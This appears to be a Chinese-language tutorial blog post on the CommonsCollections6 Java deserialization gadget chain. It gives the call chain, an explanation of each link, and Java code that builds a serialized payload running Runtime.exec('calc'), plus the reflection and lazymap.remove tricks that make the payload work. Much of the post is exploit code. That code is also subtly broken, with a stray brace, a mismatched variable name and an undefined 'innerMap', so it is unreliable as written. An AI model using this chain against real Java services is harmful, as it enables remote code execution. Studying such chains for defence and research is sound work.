java反序列化CommonsCollections6
一、利用链
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
二、利用链分析
1.写链子
我们cc1的LzayMap里面有个get函数,我们往上找是找到了AnnotationInvocationHandler的invoke,这次的cc6链子我们是找到了TiedMapEntry.java的getValue,所以LaztMap后面我们不再分析,只往前找。
然后就是同类的hashCode()调用了getValue()
看到了hashCode()我们就想到了HashMap里面的hash()调用了hashCode(),然后readObject()调用了hash()其实cc6和urldns这条链子类似
为了调用TiedMapEntry.hashCode,得将key设为TiedMapEntry实例,然后再来分析一下TiedMapEntry的getValue
我们得将map设为LazyMap,这个可以通过构造函数传值
这个链子就变成了
public static void main(String[] args) throws Exception {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers );
Map hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");
Map expMap = new HashMap();
expMap.put(tiedMapEntry,"bbb");
serialize(expMap);
unserialize();
}
但是这样是有问题的,它会在put的时候就会去计算器了,put里也有hash()
所以我们要让它一开始put的时候是不去执行运行计算器的,然后在后面去通过反射将ChainedTransformer里的iTransformers改为执行计算器的链
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Transformer[] constantformers = new Transformer[]{
new ConstantTransformer(1)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(constantTransformers);
Map hashmap = new HashMap();
Map<Object,Object> lazymap = LazyMap.decorate(innerMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
Map expMap = new HashMap();
expMap.put(tiedMapEntry,"bbb");
Class clazz = Class.forName("org.apache.commons.collections.functors.ChainedTransformer");
Field field = clazz.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transformers);
serialize(expMap);
unserialize();
还有一个就是在一开始执行put然后执行到LazyMap.java的get的时候它会执行一个put,添加一个key为aaa,value为1的键值对
所以我们得将aaa这个键给它删掉,要不然到时反序列化的时候就不能执行命令了。
lazymap.remove("aaa");
在执行完put后添加这一行即可
总结
以上就是今天要讲的内容,还是较为简单的
参考链接 :白日梦组长